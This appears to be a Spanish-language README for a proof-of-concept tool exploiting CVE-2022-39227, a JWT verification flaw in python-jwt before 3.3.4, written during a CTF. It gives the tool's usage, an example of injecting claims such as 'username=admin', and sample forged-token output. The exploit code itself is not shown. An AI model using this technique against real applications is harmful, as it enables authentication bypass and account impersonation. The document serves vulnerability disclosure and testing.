
CVE-2022-39227 : Prueba de concepto
CVE-2022-39227 : Prueba de concepto
Prueba de concepto para el CVE-2022-39227. Según este CVE, hay una falla en la verificación de JSON Web Token. Es posible, con un token válido, reutilizar su firma con claims modificados.
Requisitos:
Para facilitar su uso, escribí un PoC simple durante un CTF:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
Uso:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
Devuelve:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
El valor devuelto es una combinación de JSON y representación compacta. Debes pegar el valor completo, incluidos "{" y "}", como tu nuevo JSON Web Token.